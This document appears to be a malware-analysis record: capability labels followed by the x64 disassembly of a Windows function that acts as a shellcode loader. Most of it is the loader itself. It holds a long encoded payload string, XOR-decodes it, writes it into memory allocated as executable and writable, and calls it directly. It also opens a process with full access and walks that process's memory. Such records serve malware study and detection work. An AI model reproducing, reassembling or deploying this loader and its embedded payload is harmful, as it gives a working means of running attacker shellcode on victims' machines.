Function at 0x14001f73a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
jmp 0x14002ea10
push rbp
push rdi
sub rsp, 0x688
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x106
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14006c040]
xor rax, rbp
mov qword [rbp + 0x648], rax
lea rcx, [0x140074158]
call fcn.14001faa5
nop
mov byte [rbp + 4], 0
lea rdx, str.9ECL7PjgwAgICElZSVhaWV5AOdptQINaaECDWhBAg1ooQIN6WEAHv0JCRTnBQDnIpDRpdAokKEnJwQVJCcnq5VpJWUCDWiiDSjRACdhuiXAQAwp9eoOIgAgICECNyHxvQAnYWINAEEyDSChBCdjrXkD3wUmDPIBACd5FOcFAOcikScnBBUkJyTDofflEC0QsAE0x2X3QUEyDSCxBCdhuSYMEQEyDSBRBCdhJgwyAQAnYSVBJUFZRUklQSVFJUkCL5ChJWvfoUElRUkCDGuFH9_f3VWIIQbZ_YWZhZm18CEleQYHuRIH5SbJEfy4P991AOcFAOdpFOchFOcFJWElYSbIyXnGv993je1JAgclJsFkICAhFOcFJWUlZYgtJWUmyX4GXzvfd41FTQIHJQDnaQYHQRTnBWmAICkiMWlpJsuNdJjP33UCBzkCLy1hiAldAgflAgdJBz8j39_f3RTnBWlpJsiUOEHP33Y3IB42VCQgIQPfHB4yECQgI49vh7AkICOCq9_f3J0ZtQGoIbA0prEjO3WKoMzmMoRJNdxKL7lBZZ4ObnayzEDe4lFGEQudCyGSTG4LBu_aOAU0T_qf5NghkXZmjbWuoAJA52nZMhtcD6cnKHAhde216JUlvbWZ8MihFZ3JhZGRpJzwmOCgga2dleGl8YWpkbTMoRVtBTSgwJjgzKF9hZmxnf3soRlwoPSY6MyhcemFsbWZ8JzwmODMoJkZNXChLRFooOiY4Jj04Pzo_IQUCCKHN76T8GU7K7rtqXOniasol6vrN7PFzODan2TsJpGcvtWBeUB214LesGwgz2XRyhOm1hXVMOZDWkf0n4Ohz3Ix0vpGrka9Rp0kZ51862qj04ipGVsGyiW6J5f4yuEbFsnlpvVN7pS7C4mlMCFoS2ZTmdUaPqVoG0Y32HmOBGVswmgQRnDRhsLMUwgRsEF_PV6u44WBJQgkNBPaQyxdYuR5Xk5UpKNr87IQuKd1BWtF9RjQgWovypKb1iCKc9Sc77OfHhKuYkYg34ISbb4vape991AOcGyCAhICEmwCBgICEmxSAgICEmyUKxb7ffdQJtbW0CB70CBUCB0kmwCCgICEGB8UmyGp6B6vfdQIvMKI3IfL5ugw9ACcuNyH3fUFBQQA0ICAgIWMvgl_X39zw9Jjk8PCY5Oz4mMD4IMtZguQ__
lea rcx, [rbp + 0x28]
call fcn.14001f4a6
nop
lea r9, [0x140065668]
lea r8, [0x14006566c]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x68]
call fcn.14001f7df
nop
xor r8d, r8d
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xa8]
call fcn.14001f654
nop
lea rcx, [rbp + 0xa8]
call fcn.14001f0fa
mov qword [rbp + 0xe8], rax
mov r8d, 0x202c
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
mov eax, dword [rbp + 0x12c]
mov dword [rbp + 0x174], eax
mov eax, dword [rbp + 0x150]
mov dword [rbp + 0x194], eax
mov eax, dword [rbp + 0x194]
mov qword [rbp + 0x1b8], rax
mov eax, dword [rbp + 0x174]
mov qword [rbp + 0x1d8], rax
lea rcx, [rbp + 0xa8]
call fcn.14001f933
xor edx, edx
div qword [rbp + 0x1b8]
inc rax
mov dword [rbp + 0x1f4], eax
xor edx, edx
mov rax, qword [rbp + 0x1b8]
div qword [rbp + 0x1d8]
mov dword [rbp + 0x214], eax
mov r9d, dword [rbp + 0x1f4]
mov r8d, dword [rbp + 0x1b8]
mov edx, dword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x108]
call fcn.14001f677
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x258], rax
mov dword [rbp + 0x274], 0
mov edx, 0x20
lea rcx, [rbp + 0x298]
call fcn.14001f19f
lea rcx, [rbp + 0x298]
call fcn.14001fb40
nop
mov dword [rbp + 0x2d4], 1
jmp 0x14002ebab
mov eax, dword [rbp + 0x2d4]
inc eax
mov dword [rbp + 0x2d4], eax
mov eax, dword [rbp + 0x1f4]
cmp dword [rbp + 0x2d4], eax
ja 0x14002ec43
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x2000
lea r9, [rbp + 0x1b8]
xor r8d, r8d
lea rdx, [rbp + 0x258]
mov rcx, qword [rbp + 0x108]
call fcn.14001f5c3
mov dword [rbp + 0x274], eax
cmp dword [rbp + 0x274], 0
jne 0x14002ec0f
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x298]
call fcn.14001fb5e
nop
jmp 0x14002ec23
lea rdx, str.AVM_error
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001f131
nop
mov rax, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x258]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x258], rax
jmp 0x14002eb9d
mov dword [rbp + 0x2f4], 0
xorps xmm0, xmm0
movsd qword [rbp + 0x338], xmm0
mov dword [rbp + 0x374], 0
jmp 0x14002ec72
mov eax, dword [rbp + 0x374]
inc eax
mov dword [rbp + 0x374], eax
mov eax, dword [rbp + 0x1f4]
cmp dword [rbp + 0x374], eax
jae 0x14002ed5e
mov rcx, qword [rbp + 0x1d8]
call fcn.14001f483
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov qword [rbp + 0x398], rax
mov dword [rbp + 0x3b4], 0
jmp 0x14002ecbf
mov eax, dword [rbp + 0x3b4]
inc eax
mov dword [rbp + 0x3b4], eax
movsxd rax, dword [rbp + 0x3b4]
cmp rax, qword [rbp + 0x1d8]
jae 0x14002ed0c
movsxd rax, dword [rbp + 0x374]
mov rcx, qword [rbp + 0x1d8]
imul rcx, rax
mov rax, rcx
movsxd rcx, dword [rbp + 0x3b4]
add rcx, qword [rbp + 0xe8]
movsx eax, byte [rcx + rax]
xor eax, 8
movsxd rcx, dword [rbp + 0x3b4]
mov rdx, qword [rbp + 0x398]
mov byte [rdx + rcx], al
jmp 0x14002ecb1
mov eax, dword [rbp + 0x1f4]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x3d8], rax
lea rcx, [rbp + 0xa8]
call fcn.14001f933
mov r8, rax
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3d8]
call fcn.14001f523
nop
call qword [rbp + 0x3d8]
nop
jmp 0x14002ec64
lea rcx, [rbp + 0x298]
call fcn.14001f343
nop
lea rcx, [rbp + 0xa8]
call fcn.14001f1f9
nop
lea rcx, [rbp + 0x68]
call fcn.14001f1f9
nop
lea rcx, [rbp + 0x28]
call fcn.14001f1f9
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140064ba0]
call fcn.14001f8e3
mov eax, edi
mov rcx, qword [rbp + 0x648]
xor rcx, rbp
call fcn.14001f519
lea rsp, [rbp + 0x658]
pop rdi
pop rbp
ret